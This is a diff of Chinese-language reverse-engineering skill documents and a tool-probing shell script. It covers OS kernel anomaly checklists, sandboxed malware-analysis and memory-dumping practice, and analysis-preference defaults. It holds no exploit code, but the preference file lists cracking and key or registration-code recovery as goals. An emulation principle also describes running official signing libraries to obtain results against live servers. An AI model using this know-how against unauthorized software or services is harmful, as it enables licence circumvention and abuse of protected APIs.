用户态驱动/服务形态各异,但结论相同——**在 kernel 里找不到 dispatch 是常态**:
|
||||
|
||||
resource manager(QNX)、DriverKit/System Extension(macOS)、driver host(Fuchsia)、DDF(HelenOS)、scheme(Redox)、user-space service + RS(MINIX 3)、user-space file server(Plan 9)。
|
||||
|
||||
## 五、共同规律 D:没有 CFG 边 / 没有 syscall ≠ 没发生
|
||||
|
||||
- **注册式**:linker set(FreeBSD `set_*`)、iterable section + `SYS_INIT`(Zephyr)、generated RTE(AUTOSAR)、配置生成的 task/handler(TOPPERS、RTEMS)、autoconf(OpenBSD)、按需 autoload(NetBSD)
|
||||
- **回调式**:framework callback(Windows 各模型)、SDK callback(VxWorks io-pkt、`nw_pthread_create`)
|
||||
- **异步控制流**:AST(OpenVMS)、SRB(z/OS)、fault handler(seL4)
|
||||
- **异常边**:`__ex_table`(Linux exception fixup)
|
||||
- **共享内存式**:PV ring(Xen)、driver runtime local transport(Fuchsia)、grant(MINIX)、VMBus(Hyper-V)、VirtIO/共享页
|
||||
|
||||
## 六、共同规律 E:信任边界不能从指令形态推导
|
||||
|
||||
**在 capability / 沙箱 / 多版本 / live-update 型驱动系统里**(覆盖 seL4、Genode、Fuchsia、多内核系统、分区 hypervisor、用户态驱动 OS 等):
|
||||
|
||||
```
|
||||
不从 CPL、地址、直接调用或 MMIO 指令推导信任边界
|
||||
```
|
||||
|
||||
先恢复 **domain、capability、mapping、device ownership、version、lifecycle topology**,再解释控制流。四条推论:
|
||||
|
||||
| 看起来像 | 实际可能是 |
|
||||
|---|---|
|
||||
| 直接 call | 跨逻辑组件的调用(同地址空间 ≠ 同组件;同组件也可能跨隔离域) |
|
||||
| 直接 MMIO | 被授权的设备映射(**"能访问 MMIO" ≠ "有整机内核权限"**) |
|
||||
| 同特权级 | 靠 MMU 隔离的独立域(**Ring 0 → 全内核可寻址** 在这类系统上是 invalid assumption) |
|
||||
| 整数句柄 | capability / 共享页偏移 / domain-local 标识(跨域比较无意义) |
|
||||
|
||||
配套要求:内存取证要区分 **VA / PA / backing frame / capability / owner domain / mapped domain**;共享内存指针要带域语义(`{domain, cap, mapping, offset, length, rights}`),否则数据流分析会把合法跨域流错误合并。具体系统分支见 [[re-kernel/hic]]、[[re-kernel/sel4-kernel]]、[[re-kernel/zircon-kernel]]、[[re-kernel/genode]]。
|
||||
|
||||
## 七、共同规律 F:磁盘上的 ≠ 正在跑的
|
||||
|
||||
livepatch / ftrace / jump label(Linux)、AuxKC 与 Kernel Collection(macOS)、runtime relocation 与 `__init` 释放(Linux)、live update(MINIX 3)、动态模块替换(Nucleus、OSE)、按需发现(Haiku)。
|
||||
|
||||
**动手比较前先对齐三份身份**:磁盘版本 / 加载集合中的版本 / 当前真正在跑的版本。
|
||||
|
||||
## 七、跨系统异常处理树
|
||||
|
||||
```
|
||||
看到"异常"
|
||||
│
|
||||
├─ 函数没有 caller
|
||||
│ ├─ callback registration
|
||||
│ ├─ linker set
|
||||
│ ├─ generated RTE / config
|
||||
│ ├─ IPC dispatch
|
||||
│ ├─ AST / SRB
|
||||
│ ├─ exception table(__ex_table)
|
||||
│ └─ init / iterable section
|
||||
│
|
||||
├─ 地址不一致
|
||||
│ ├─ KASLR / KARL
|
||||
│ ├─ PE / ELF relocation
|
||||
│ ├─ PAC
|
||||
│ ├─ GPA / HPA
|
||||
│ ├─ local handle namespace
|
||||
│ └─ runtime KC / image
|
||||
│
|
||||
├─ driver 没有内核入口
|
||||
│ ├─ user-space driver
|
||||
│ ├─ resource manager
|
||||
│ ├─ DriverKit
|
||||
│ ├─ Fuchsia driver host
|
||||
│ ├─ Redox scheme
|
||||
│ ├─ HelenOS DDF
|
||||
│ └─ MINIX service
|
||||
│
|
||||
├─ thread 不执行
|
||||
│ ├─ partition window
|
||||
│ ├─ budget / quota
|
||||
│ ├─ SC donation
|
||||
│ ├─ safety class
|
||||
│ ├─ Hwi/Swi scheduler 被禁用
|
||||
│ ├─ partition mode(未进 NORMAL)
|
||||
│ └─ 上层 scheduler
|
||||
│
|
||||
├─ IPC 没有 syscall
|
||||
│ ├─ shared-memory ring
|
||||
│ ├─ polling
|
||||
│ ├─ co-located transport
|
||||
│ ├─ VMBus / GPADL
|
||||
│ ├─ grant table
|
||||
│ └─ hypervisor channel
|
||||
│
|
||||
├─ memory access fault
|
||||
│ ├─ capability rights
|
||||
│ ├─ MPU zone
|
||||
│ ├─ task isolation
|
||||
│ ├─ cell / partition assignment
|
||||
│ ├─ IOMMU
|
||||
│ └─ runtime privilege level
|
||||
│
|
||||
├─ binary 存在但没运行
|
||||
│ ├─ AUTOSAR Function Group / Machine State
|
||||
│ ├─ System Extension activation
|
||||
│ ├─ boot / module stage
|
||||
│ ├─ partition mode
|
||||
│ └─ on-demand driver discovery
|
||||
│
|
||||
└─ runtime 与 disk 不同
|
||||
├─ livepatch
|
||||
├─ jump-label / ftrace
|
||||
├─ AuxKC / kernel collection
|
||||
├─ dynamic module relocation
|
||||
├─ init code 已释放
|
||||
└─ live update / restart
|
||||
```
|
||||
|
||||
## 八、使用方式
|
||||
|
||||
1. 现象命中上表任一行 → **先按"必须先排除"逐项核对**,不要跳到结论
|
||||
2. 需要某个系统的细节 → 按 [[rerouting]] A 表或 [[capability-index]] 反查对应技能与分支
|
||||
3. 核对手段统一是三样:**cross-view**(多视图交叉)、**configuration**(配置/清单/计划文件)、**runtime verification**(运行时状态而非磁盘内容)
|
||||
4. 只有在排除完该模型允许的正常机制之后,才写"损坏 / 恶意 / bug"的结论——并在报告里写明**排除了哪些可能性、依据是什么**
|
||||
|
||||
## 九、异常速查表(按现象直查)
|
||||
|
||||
| 现象 | 优先考虑 |
|
||||
|---|---|
|
||||
| AUTOSAR binary 存在但 process 不存在 | Function Group State / Execution Manifest |
|
||||
| AUTOSAR service 暂时发现不到 | 服务发现允许空结果 / 可用性回调生命周期 |
|
||||
| AUTOSAR process 无 crash 却重启 | 平台健康监控 → 状态管理 |
|
||||
| AUTOSAR 更新后仍旧数据 / 数据消失 | Persistency 更新策略(keep / overwrite / delete) |
|
||||
| 分离内核里找不到 runtime 配置器 | 静态配置 + 无动态系统修改 |
|
||||
| guest 直接操作真实 MMIO / IRQ | 静态 direct assignment(I/O 被导出到 guest) |
|
||||
| 分区 RTOS 里高优先级 READY 不执行 | 时间窗 / 调度域资格 |
|
||||
| 分区 RTOS 多出 CPU 时间 | slack 回收 |
|
||||
| 分区 RTOS 的 major frame 起点缓慢漂移 | 外部时钟同步类机制(需在具体型号文档确认) |
|
||||
| 认证 RTOS 里同一地址权限不同 | per-task MPU/MMU 区域 |
|
||||
| 认证 RTOS 里句柄不像指针 | 间接对象 ID + 交叉引用表 |
|
||||
| ISR 唤醒了 task 却不切换 | 嵌套 ISR / ISR 退出协议 / 调度器锁 |
|
||||
| task 被唤醒但没有资源 | 中止等待路径(唤醒 ≠ 获取成功) |
|
||||
| 线性地址下仍存在隔离 | 线性映射 + entitlement(不是每进程独立 VA) |
|
||||
| module 无 reboot 被替换 | 动态 reload / restart / update |
|
||||
| 遇到 "partition" 一词 | 先分:空间隔离域 vs 固定块内存池 |
|
||||
| 高优先级 task READY 不跑(TI SYS/BIOS) | 禁用 Swi 调度会连带禁用 Task 调度 |
|
||||
| Swi 的栈看起来像 ISR 栈 | Swi 本就运行在系统/ISR 栈上 |
|
||||
| ISR 里调用的 API 效果延后 | ISR FIFO 延迟队列 |
|
||||
| 同一对象不同线程权限不同 | Safety Class / MPU 保护域 |
|
||||
| plan switch 延迟生效 | 普通切换要等当前计划/MAF 结束 |
|
||||
| plan 瞬间切换 | 健康监控切维护计划 |
|
||||
| 采样端口"丢中间值" | latest-value 覆盖语义 |
|
||||
| Service VM 里设备消失又回来 | 设备所有权移交给 post-launched VM |
|
||||
| 共享内存设备各自正常却互不相通 | 两种实现(dm-land / hv-land)不互通 |
|
||||
| 小整数被当地址(Hyper-V) | GPADL 是句柄 |
|
||||
| 删除 GPADL 时卡住 | server 仍映射,阻塞直到解除 |
|
||||
| packet 回调返回但资源未释放 | 完成调用可延后 |
|
||||
| 取外部数据返回"待决" | 需要分页;稍后可能在不同 IRQL 再次回调 |
|
||||
| 网络 VMBus 流量突然消失但网络正常 | SR-IOV VF 直通路径切换 |
|
||||
| ring 更新却没有通知(Xen) | 通知抑制(阈值未越过) |
|
||||
| event unmask 行为奇怪 | pending / masked / FIFO 语义 |
|
||||
| 迁移后 domid / 端口变化 | 协议需要重新协商 |
|
||||
| 同一 build 里事件记账布局不同 | 两套 ABI,解析器不能混用 |
|
||||
| 0 xref 的 init 函数(Unikraft) | 多级初始化表(构造/早期/平台/库/rootfs/系统/晚期) |
|
||||
| 同名 syscall 出现多个符号 | libc 风格 / raw-error 风格 / shim 三层包装 |
|
||||
| 缺 syscall 返回 ENOSYS 但应用照跑 | 可选 syscall 桩 |
|
||||
| 同一源码的 I/O 完全不同(MirageOS) | 构建目标决定 backend |
|
||||
| 全部"线程"一起卡死 | 协作式线程不让出(饿死事件循环) |
|
||||
| 后台任务异常没有直接杀系统 | 异步异常处理策略 |
|
||||
|
||||
## 十、版本与代际提示
|
||||
|
||||
- **按目标做版本指纹再套条目**:规范与手册存在代际差异——例如某平台规范已推进到新版本而多数公开细节来自上一版;某 hypervisor 最完整的公开手册属于某一代(如 XM-4),**不要无条件套到其他代际**
|
||||
- 同一系统的不同产品线(安全认证版与基础版)**也不是同一份二进制/内核**,机制可选项不同
|
||||
@@ -0,0 +1,125 @@
|
||||
# 平台经验知识库
|
||||
|
||||
> 跨大类共享的实战经验。所有技能的工具准备与操作步骤按 OS 分支执行。
|
||||
> 原则:**先给最轻的可行方案**(Wine 直读 > 用户态仿真 > 全系统虚拟化 > 物理机)。
|
||||
|
||||
## 最高原则:默认沙箱
|
||||
|
||||
一切动态分析/运行样本默认在沙箱中执行(强制前置):虚拟机快照 / 容器(Docker、firejail)/ 专用沙箱(Cuckoo/CAPE);网络隔离(INetSim、fake DNS、断网)。静态分析可免沙箱,一切动态执行默认在沙箱内,分析结束后恢复快照。此原则优先于本文件所有其他条目。
|
||||
|
||||
## 平台分支
|
||||
|
||||
### 所有平台
|
||||
- 动态分析默认沙箱(见上)。
|
||||
- **入口之前执行点**:PE 的 TLS 回调与 ELF 的 `.preinit_array`/`.init_array`/`__libc_start_main` 的 init 参数都在入口点/main 之前执行——只断入口会漏掉入口前逻辑;动态断点设在 `ntdll!LdrpCallInitRoutine`(Windows)与 `__libc_start_main`(Linux)。
|
||||
- **工具解析 ≠ 加载器视图**:损坏/歧义的头字段没有唯一正确解析,恶意样本利用解析器差异规避工具——工具报错 ≠ 文件损坏,先手工核对关键头字段,结论对照真实加载器语义复核。
|
||||
- **反汇编函数边界有误差**:线性反汇编对 PE(代码节内联跳转表等数据)准确率约 99%,函数边界识别在主流工具中也有 20%+ 误判(尾调用/非标准序言/内联导致)——反编译结论需交叉验证,别全信工具的函数列表。
|
||||
- **32 位程序**:gdb 架构切换影响 ABI/寄存器集/调用约定——调 32 位目标先确认调试器架构模式与目标一致;Windows 侧 32 位目标对应 x32dbg;Wine 跑 32 位 PE 用 wine32 前缀(WINEARCH=win32)。
|
||||
|
||||
### Linux
|
||||
- 分析 Windows PE 程序:**Wine 直读进程内存**——wine 运行 PE → `gdb attach` 或读 `/proc/<pid>/mem`,无需整机虚拟化;脱壳/读内存直接对 Wine 进程操作。
|
||||
- 跑非本机架构程序:QEMU 用户态仿真(`qemu-<arch>`)优先,全系统仿真仅必要时用。
|
||||
- **attach 权限不是非黑即白**:ptrace_scope=1 限制子进程/父子关系/PR_SET_PTRACER——同属主不一定能 attach,还需父子关系或目标声明 PR_SET_PTRACER;root 也可能受限;容器内 CAP_SYS_PTRACE 影响 attach 能力。
|
||||
- **QEMU 用户态仿真的主要差异**:QEMU 用户态最大问题=syscall ABI/kernel feature/指令扩展(非 libc)——程序跑不起来先按这三点排查,别只补库。
|
||||
|
||||
### Linux 内存转储极端段
|
||||
- `[vsyscall]`(固定地址 `0xffffffffff600000`,只执行 `--xp`)、`[vdso]`/`[vvar]`:`/proc/<pid>/mem` 读取失败、gdb 访问报错均属正常。
|
||||
- 转储前必须按 `/proc/<pid>/maps` 过滤这些段(只 dump `r--p`/`rw-p` 可读映射),否则 dump 含垃圾页、脱壳/分析全被污染。
|
||||
- 识别特征:`maps` 中 `[vsyscall]`/`[vdso]`/`[vvar]` 名称、地址落在 `0xffffffffff6xxxxx` 高段、无文件路径的匿名 `00:00` 映射。
|
||||
|
||||
### Windows
|
||||
- 读目标进程内存:需装 Sysinternals 套件(`procdump`)/ `DumpIt` 做内存转储 + Volatility 分析;attach 需要管理员权限。
|
||||
- 常用工具链:x64dbg、Process Explorer(替代 System Informer)、APIMonitor。
|
||||
- **attach 失败先区分权限与 PPL/保护进程**:管理员解决普通限制,PPL 取决于 Signer Level 等级(EDR 常见 PPL-Windows TCB/Antimalware),需对应级别调试能力。
|
||||
- **Windows 读 Linux 样本**:静态无平台限制,动态需匹配运行环境——静态分析可在 Windows 侧直接进行,要运行样本则准备匹配的 Linux 环境(VM/容器)。
|
||||
|
||||
### macOS
|
||||
- attach/调试:SIP 与 TCC 限制,调试工具需授权(Developer Tools 权限),`lldb` attach 前检查。
|
||||
- **attach 失败层次**:task_for_pid entitlement/SIP/Hardened Runtime——Developer Tools 授权之外,调试器自身需 task_for_pid entitlement,目标启用 Hardened Runtime 时调试 API 受限。
|
||||
|
||||
### 沙箱
|
||||
- **容器调试缺 SYS_PTRACE**:容器内 attach 受限来源=SYS_PTRACE 能力、/proc 挂载、seccomp、Yama 限制——先确认容器配置(如 `--cap-add=SYS_PTRACE`)再判断"环境限制"还是"程序不可分析"。
|
||||
- **沙箱隔离≠分析环境伪装**:时间/硬件/输入检测是环境指纹,完整 VM 也会被检测——隔离保证安全,不保证"像真实环境";环境指纹对抗单独处理。
|
||||
|
||||
### WSL
|
||||
- WSL 无法直接 attach Windows 进程——跨边界分析走 Windows 侧工具,WSL 内只做文件/静态分析。
|
||||
|
||||
## 原则:分析前确认(动态分析前置)
|
||||
|
||||
动态分析前先确认目标 ABI、执行环境、权限模型,否则调试失败不代表程序不可分析——失败先归因(架构/环境/权限),再决定换方案还是下结论。
|
||||
|
||||
## 原则:静态优先(大型样本)
|
||||
|
||||
静态与动态不是替代关系,大型样本静态定位先行、动态验证在后——先静态缩小范围,动态按需补充。
|
||||
|
||||
## 原则:模拟执行优先(能跑就不逆向)
|
||||
|
||||
目标含官方原生库(签名算法/加密例程/混淆 VM)时,**模拟执行官方代码比逆向算法快一个数量级**——数周逆向 vs 一天模拟。适用场景:目标库可加载(依赖可满足)、调用方是 JNI/导出函数、只需"结果"不需"原理"。判定信号:算法复杂度高(轮数多/查表大/混淆深)、有现成库可加载、社区有同类模拟先例。
|
||||
- 常用载体:unidbg(Android so + JNI 模拟,Java)、QEMU 用户态(`qemu-<arch>` + sysroot)、Qiling/Unicorn(单函数隔离)
|
||||
- 模拟执行产出"看起来正常"的结果不等于正确——**真实环境/服务器响应才是唯一裁判**(模拟环境可能被检测并返回诱饵结果),先用低风险路径验证(白名单命令/非敏感操作),再决定是否触碰高价值目标
|
||||
|
||||
## 原则:JNI 导出名 = 协议契约路标
|
||||
|
||||
Java 层逆向时,`Java_包名_类名_方法名` 导出是**天然接口文档**——函数名直接给契约(encodeRequest/parseData/setAccountKey 一眼分工);stripped 的 so 也保留 JNI 导出(JVM 运行时需要)。原生库逆向永远从 `nm -D` 列 JNI 导出开始。
|
||||
|
||||
## 原则:序列化/反序列化函数对互证
|
||||
|
||||
帧/包格式读 serialize 函数拿布局,再用 deSerialize 验证——**两个方向对上了才是真的**。协议类库通常同时含打包/解包函数(serialize/parse、encode/decode),互为对照。
|
||||
|
||||
## 原则:社区逆向成果先搜再挖
|
||||
|
||||
同类目标的开源项目是**前人逆向成果的沉淀**——协议结构、密钥表、算法还原、模拟器回调集都在里面。自挖之前先搜(GitHub 镜像/码云/codeload、相关生态项目);即使版本/目标不同,**结构、模式、回调清单可移植**。自己从零解析的时间成本通常是移植的 10 倍。
|
||||
|
||||
## 工具链避坑(实测)
|
||||
|
||||
- **IDA interr(decompiler bug)**:`create_stkvar` 类内部错误硬崩溃且无法跳过——换 Ghidra,别硬刚
|
||||
- **Ghidra 脚本 API 版本差异**:MemoryBlock 的权限查询方法名随版本变动(getPermissions/isExecute/getExecute 各版本不同);脚本编译失败先查当前版本 javadoc
|
||||
- **dex 解析细节**:opcode 是 **u16 低字节**(高字节是寄存器位);`fill-array-data` 是 **0x26**(31t)、goto 是 **0x28**(0x24 是 filled-new-array);string_data_item 有 **uleb128 长度前缀**;code_item 的 `insns_size` 在 **+12**(+4 是 outs_size)
|
||||
- **GitHub 下载不稳**:`codeload.github.com` 比 `github.com` 稳(git clone 被重置时 curl codeload 可通)
|
||||
|
||||
## 「直读 vs 转储」决策(默认转储优先)
|
||||
|
||||
一次转储获得完整内存布局 + 寄存器/线程状态(ELF notes),可导入 Ghidra/IDA、可存档复现;后续所有定向提取(密钥搜索、脱壳段、DEX 挖掘)都从转储产物里做。
|
||||
|
||||
| 场景 | 方案 |
|
||||
|---|---|
|
||||
| 默认(任何需要读内存的任务) | **转储** `gcore` → ELF core;取证/存档用全量转储 + manifest |
|
||||
| 需要完整布局 + 寄存器/线程(导入调试器、事后复现) | **转储** `gcore`(含 ELF notes) |
|
||||
| 进程已死 | 直接分析已有 core(`kernel.core_pattern` / systemd-coredump / 容器 runtime dump) |
|
||||
| ptrace 被禁 / 沙箱容器 / attach 失败 | 转储兜底(不依赖 `/proc/<pid>/mem` 权限路径) |
|
||||
| 特例①:进程必须保持运行、实时交互调试 | **直读** `/proc/<pid>/mem`:先读 maps 定址 → SIGSTOP 防竞态 → chunked `pread` 只取目标区段 |
|
||||
| 特例②:只需极小特定区段且性能敏感 | **直读** 单区段,同上流程 |
|
||||
|
||||
**关键经验**:转储时机——由目标明文/代码的 materialization 决定,经典单层壳在真实 OEP 附近转储通常合适,但 OEP 不是通用完成判据(多阶段 loader / 按需解密 / 虚拟化保护 / 反射加载 / 进程注入 / fake OEP 按「写→执行转移 + 内存保护变化 + payload 头/导入恢复」定 dump 点,必要时多时点快照);直读前必须先查 maps;dump 前过滤 `[vsyscall]`/`[vdso]`。
|
||||
|
||||
## 来源(Task 15 调研,2026-08)
|
||||
|
||||
按查询分组的检索链接(WebSearch 实测结果):
|
||||
|
||||
- TLS 回调 / init_array / 入口之前执行点:
|
||||
- DShield: How Malware Defends Itself Using TLS Callback Functions — https://secure.dshield.org/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655
|
||||
- Mandiant: Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique — https://cloud.google.com/blog/topics/threat-intelligence/newly-observed-ursnif-variant-employs-malicious-tls-callback-technique-achieve-process-injection/
|
||||
- ELF vs PE 分析误区:
|
||||
- USENIX Security 2016 (Andriesse): 函数边界/线性反汇编误差 — https://www.usenix.net/sites/default/files/conference/protected-files/security16_slides_andriesse.pdf
|
||||
- HAL 论文: PE 解析无唯一正确解(解析器差异规避) — https://hal.science/hal-04611598v1/file/publi-6603.pdf
|
||||
- CSDN 文库: Linux ELF 思维在 PE 上的 19 个符号假设性错误(__libc_start_main 幻觉/.interp 缺失误判) — https://wenku.csdn.net/column/38b5um95xq
|
||||
- inventivehq: Understanding PE, ELF, and Mach-O — https://inventivehq.com/blog/executable-file-formats-guide
|
||||
- binutils 邮件列表: COFF vs ELF 未定义符号处理差异 — https://www.sourceware.org/pipermail/binutils/2025-June/142006.html
|
||||
- CyberChallenge 2024 课件: 伪造 ELF 头字段使 readelf 报错 — https://cyberchallenge.it/assets/data/workshop/2024/files/CCIT2024%20-%20Workshop%20-%20Keynote%20-%20Van%20Eeden.pdf
|
||||
- 进程内存取证 vsyscall/vdso:
|
||||
- StackOverflow: What are vdso and vsyscall(固定地址/ASLR/auxv) — https://stackoverflow.com/questions/19938324/what-are-vdso-and-vsyscall/19942352#19942352
|
||||
- DEF CON 23 (O'Neil): Advances in Linux Forensics (ECFS,core 低分辨率与重建) — https://infocon.org/cons/DEF%20CON/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEF%20CON%2023%20-%20Ryan-O%27Neil-Advances-in-Linux-Forensics-ECFS.pdf
|
||||
- 恶意持久化(注册表/WMI/计划任务):
|
||||
- win-persistence-checker(注册表 ASEP 检测工具) — https://github.com/cwsecur1ty/win-persistence-checker
|
||||
- analyzing-malware-persistence-with-autoruns — https://github.com/mukul975/anthropic-cybersecurity-skills/blob/main/skills/analyzing-malware-persistence-with-autoruns/SKILL.md
|
||||
- RootGuard knowledge-base: persistence TA0003 技术库(隐藏计划任务 SD 删除) — https://github.com/andranglin/RootGuard/blob/master/knowledge-base/mitre-aligned-threat-dectection/persistence-ta0003-techniques.md
|
||||
- Blue-Team-Scripts: Malware Persistence Mechanisms — https://deepwiki.com/jwardsmith/Blue-Team-Scripts/6.2-malware-persistence-mechanisms
|
||||
- 进程注入检测:
|
||||
- detecting-t1055-process-injection-with-sysmon(Sysmon 事件 8/10/7/25) — https://github.com/seikaikyo/dash-skills/blob/main/external/anthropic-cybersecurity-skills/skills/detecting-t1055-process-injection-with-sysmon/SKILL.md
|
||||
- detecting-process-injection-techniques — https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/detecting-process-injection-techniques/SKILL.md
|
||||
- Hexnode: What is Process Injection(mavinject 等 LOLBin 滥用) — https://www.hexnode.com/blogs/explained/what-is-process-injection/
|
||||
- YARA 规则最佳实践:
|
||||
- Trail of Bits: yara-rule-authoring(atom 质量/条件顺序/模块取舍) — https://github.com/trailofbits/skills/blob/e8cc5baf9329ccb491bfa200e82eacbac83b1ead/plugins/yara-authoring/skills/yara-rule-authoring/SKILL.md
|
||||
- performing-threat-hunting-with-yara-rules — https://github.com/seikaikyo/dash-skills/blob/main/external/anthropic-cybersecurity-skills/skills/performing-threat-hunting-with-yara-rules/SKILL.md
|
||||
- VMware Security Blog: Hunting IcedID and unpacking automation(针对壳结构写规则) — https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html
|
||||
- Google GTI: YARA-X Livehunt 规则编写 — https://security.googlecloudcommunity.com/google-threat-intelligence-3/agentic-google-threat-intelligence-query-to-help-write-yara-x-rules-for-livehunts-7242
|
||||
@@ -0,0 +1,52 @@
|
||||
# 偏好询问:分级问题集与默认值
|
||||
|
||||
入口在执行任务编排前,按**分级**处理偏好,结果存入会话状态,贯穿本次分析全程。
|
||||
|
||||
## 分级规则
|
||||
|
||||
- **Level 0 快速入口(默认)**:目标明确为「初步分析/这个文件干什么的」或目标未明确时——**不逐项询问**,直接采用默认值开始:
|
||||
| 项 | 默认值 |
|
||||
|---|---|
|
||||
| 目标 | 初步分析(判定类型/恶意性/入口/关键行为) |
|
||||
| 反编译器 | Ghidra |
|
||||
| 深度 | standard |
|
||||
| 报告 | 要 |
|
||||
| 平台 | auto |
|
||||
- **Level 1 深度任务**:用户目标明确属于深度任务(脱壳、漏洞挖掘、协议逆向、恶意样本深度分析、破解、取证等)或用户主动要求配置时——完整询问以下 5 项。
|
||||
|
||||
## 必答问题(Level 1 第一项)
|
||||
|
||||
### 1. 分析目标(自然语言,必答)
|
||||
想达成什么?示例:
|
||||
- 判定这个样本是否为恶意、会不会回连
|
||||
- 脱壳后提取干净样本
|
||||
- 找到密钥/注册码/算法
|
||||
- 还原某函数逻辑
|
||||
- 确认是否存在漏洞
|
||||
|
||||
目标不明确时追问,直到可执行。目标决定 triage.md 的选择路径。
|
||||
|
||||
## 选择问题
|
||||
|
||||
### 2. 反编译器选择
|
||||
| 选项 | 依据 |
|
||||
|---|---|
|
||||
| Ghidra(默认推荐) | 免费开源、跨平台、Linux 最顺 |
|
||||
| IDA | 商业付费(有免费版 IDA Free:x86/x86-64 限定、无 SDK/IDAPython、非商用)、Windows 生态最强、插件丰富;用户明确选或目标为 Windows 闭源软件时推荐。**版本代际不在此写死**(避免漂移),需要时以官方发布为准 |
|
||||
| radare2/rizin | 命令行轻量、终端友好、脚本化强;内存紧张或 CLI 工作流 |
|
||||
|
||||
内存 <4GB → 提示 Ghidra 可能吃力,建议 radare2 或先加内存。
|
||||
**推荐依据与已装工具无关**(通用场景默认未装任何工具)。
|
||||
|
||||
### 3. 分析深度
|
||||
- 快速结论 / 标准分析 / 深度报告
|
||||
|
||||
### 4. 输出报告
|
||||
- 要(走报告流程:IOC/YARA 等)/ 不要
|
||||
|
||||
### 5. 平台确认
|
||||
- 自动识别(有文件时按文件格式)/ 手动指定
|
||||
|
||||
## 状态传递
|
||||
|
||||
探测结果(probe.sh)与上述答案存入会话变量:`RE_OS`、`RE_ARCH`、`RE_MEM_GB`、`RE_TOOLS`(HAVE/MISS 列表)、`RE_GOAL`、`RE_DECOMPILER`、`RE_DEPTH`、`RE_REPORT`、`RE_TARGET_PLATFORM`。被调用技能读取这些变量(如 `RE_DECOMPILER=ghidra` → 反编译步骤直接走 re-ghidra;某工具 `MISS` → 先执行其「工具准备」安装步骤)。
|
||||
@@ -0,0 +1,53 @@
|
||||
#!/bin/sh
|
||||
# probe.sh — 环境探测:OS 平台 / CPU / 内存 / 已装逆向工具
|
||||
# 输出约定:OS: / ARCH: / CORES: / MEM_GB: / HAVE:tool(逐个)/ MISS: tool tool …(汇总一行)
|
||||
# —— HAVE 是"优先用什么"的依据,逐个列出;MISS 只作提示,汇总成一行避免刷屏
|
||||
# 工具清单由登记表生成(见下方 GENERATED-TOOLS 块),不要手改
|
||||
# 通用原则:空白环境(无任何工具)也必须正常输出,绝不中断。
|
||||
|
||||
echo "== ENV =="
|
||||
if command -v uname >/dev/null 2>&1; then
|
||||
case "$(uname -s)" in
|
||||
Linux)
|
||||
if grep -qi microsoft /proc/version 2>/dev/null; then
|
||||
echo "OS: WSL-Linux"
|
||||
else
|
||||
echo "OS: Linux"
|
||||
fi
|
||||
;;
|
||||
Darwin) echo "OS: macOS" ;;
|
||||
MINGW*|MSYS*|CYGWIN*) echo "OS: Windows(msys)" ;;
|
||||
*) echo "OS: $(uname -s)" ;;
|
||||
esac
|
||||
echo "ARCH: $(uname -m)"
|
||||
if command -v nproc >/dev/null 2>&1; then echo "CORES: $(nproc)"; else echo "CORES: unknown"; fi
|
||||
if command -v free >/dev/null 2>&1; then
|
||||
# 必须固定 LC_ALL=C:本地化的 free 会把 "Mem:" 译成"内存:"等,awk 匹配不到(曾导致该项恒为空)
|
||||
echo "MEM_GB: $(LC_ALL=C free -g 2>/dev/null | awk '/^Mem:/{print $2}')"
|
||||
else
|
||||
echo "MEM_GB: unknown"
|
||||
fi
|
||||
else
|
||||
echo "OS: Windows"
|
||||
echo "ARCH: unknown"
|
||||
echo "CORES: unknown"
|
||||
echo "MEM_GB: unknown"
|
||||
fi
|
||||
|
||||
echo "== TOOLS =="
|
||||
# >>> GENERATED-TOOLS(源:docs/audit/tool-register.json;改清单请改登记表后跑 node bin/probelist.mjs)
|
||||
# shellcheck disable=SC2034
|
||||
PROBE_TOOLS="aapt2 adb afl-clang-fast afl-cmin afl-fuzz afl-tmin apksigner apktool arm-linux-gnueabi-readelf atos binwalk blkls canbusload candump cansniffer capinfos class-dump codesign cpuid cramfsck defaults dexdump diec docker dotnet dotnet-dump dpkg-deb driverquery eu-stack ffprobe firejail flashrom fls fltmc frida frida-dexdump frida-trace fsstat gcore gdb gdb-multiarch Get-WinEvent ghc hackrf_transfer hbc-decompiler hbc-disassembler hbc-file-parser icat idevicebackup2 iproxy iptables jadx jar java javap jdb js-beautify jtool2 keytool ld64.lld lipo lldb llvm-nm llvm-objdump llvm-readobj logman ltrace mactime mitmproxy mmls modprobe mono mp4dump netron nm npx objcopy objdump ocamlc ocamlobjinfo ocamlopt olevba one_gadget openocd openssl otool palera1n panoramix pdf-parser pdfid.py photorec picocom powershell procdump pwsh pycdc pyinstaller qemu-arm qemu-system-arm qemu-system-mips qemu-system-x86_64 readelf rg rizin ROPgadget ropper rr rtfobj rtl_sdr rz-diff rz-pm schtasks sdkmanager spctl strace sysctl systemctl tcpdump testdisk tshark tsk_recover uefiextract ueifind unblob unsquashfs upx VBoxManage vmrun vol wasm-decompile wasm-objdump wasm2wat wasm3 wasmtime yara zig zipalign zsteg"
|
||||
# <<< GENERATED-TOOLS
|
||||
MISS_LIST=""
|
||||
for t in $PROBE_TOOLS; do
|
||||
if command -v "$t" >/dev/null 2>&1; then
|
||||
echo "HAVE: $t"
|
||||
else
|
||||
MISS_LIST="$MISS_LIST $t"
|
||||
fi
|
||||
done
|
||||
[ -n "$MISS_LIST" ] && echo "MISS:$MISS_LIST"
|
||||
|
||||
echo "== HINT =="
|
||||
echo "已装工具(HAVE)优先使用;未装工具(MISS)按对应技能的「工具准备」章节引导安装,不中断分析流程。"
|
||||
@@ -0,0 +1,115 @@
|
||||
# 中途再路由触发表
|
||||
|
||||
运行时证据触发的唯一事实源(区别于 triage.md 的入口「目标→路径」决策表)。分析过程中按双轨使用:
|
||||
|
||||
- **轨 1(网关完成必查)**:每网关完成后对照 A/B 表检查新证据
|
||||
- **轨 2(证据出现即查)**:每产出新证据类型(字符串/节表/行为/加密特征)立即对照 A 表
|
||||
- **未命中** → 按 B 表约束行动,禁止自行硬琢磨
|
||||
|
||||
**A 表按能力匹配**:证据特征先映射到「需要能力」,再经 `capability-index.md` 反查提供该能力的技能——技能列是索引结果,不是领域名硬编码;`npm test` 校验「能力列标签在注册表内」且「本行技能确实声明了该能力」。
|
||||
|
||||
## A 表:证据特征 → 需要能力 → 触发技能
|
||||
|
||||
| 证据特征(分析中看到) | 需要能力 | 触发技能(索引反查) |
|
||||
|---|---|---|
|
||||
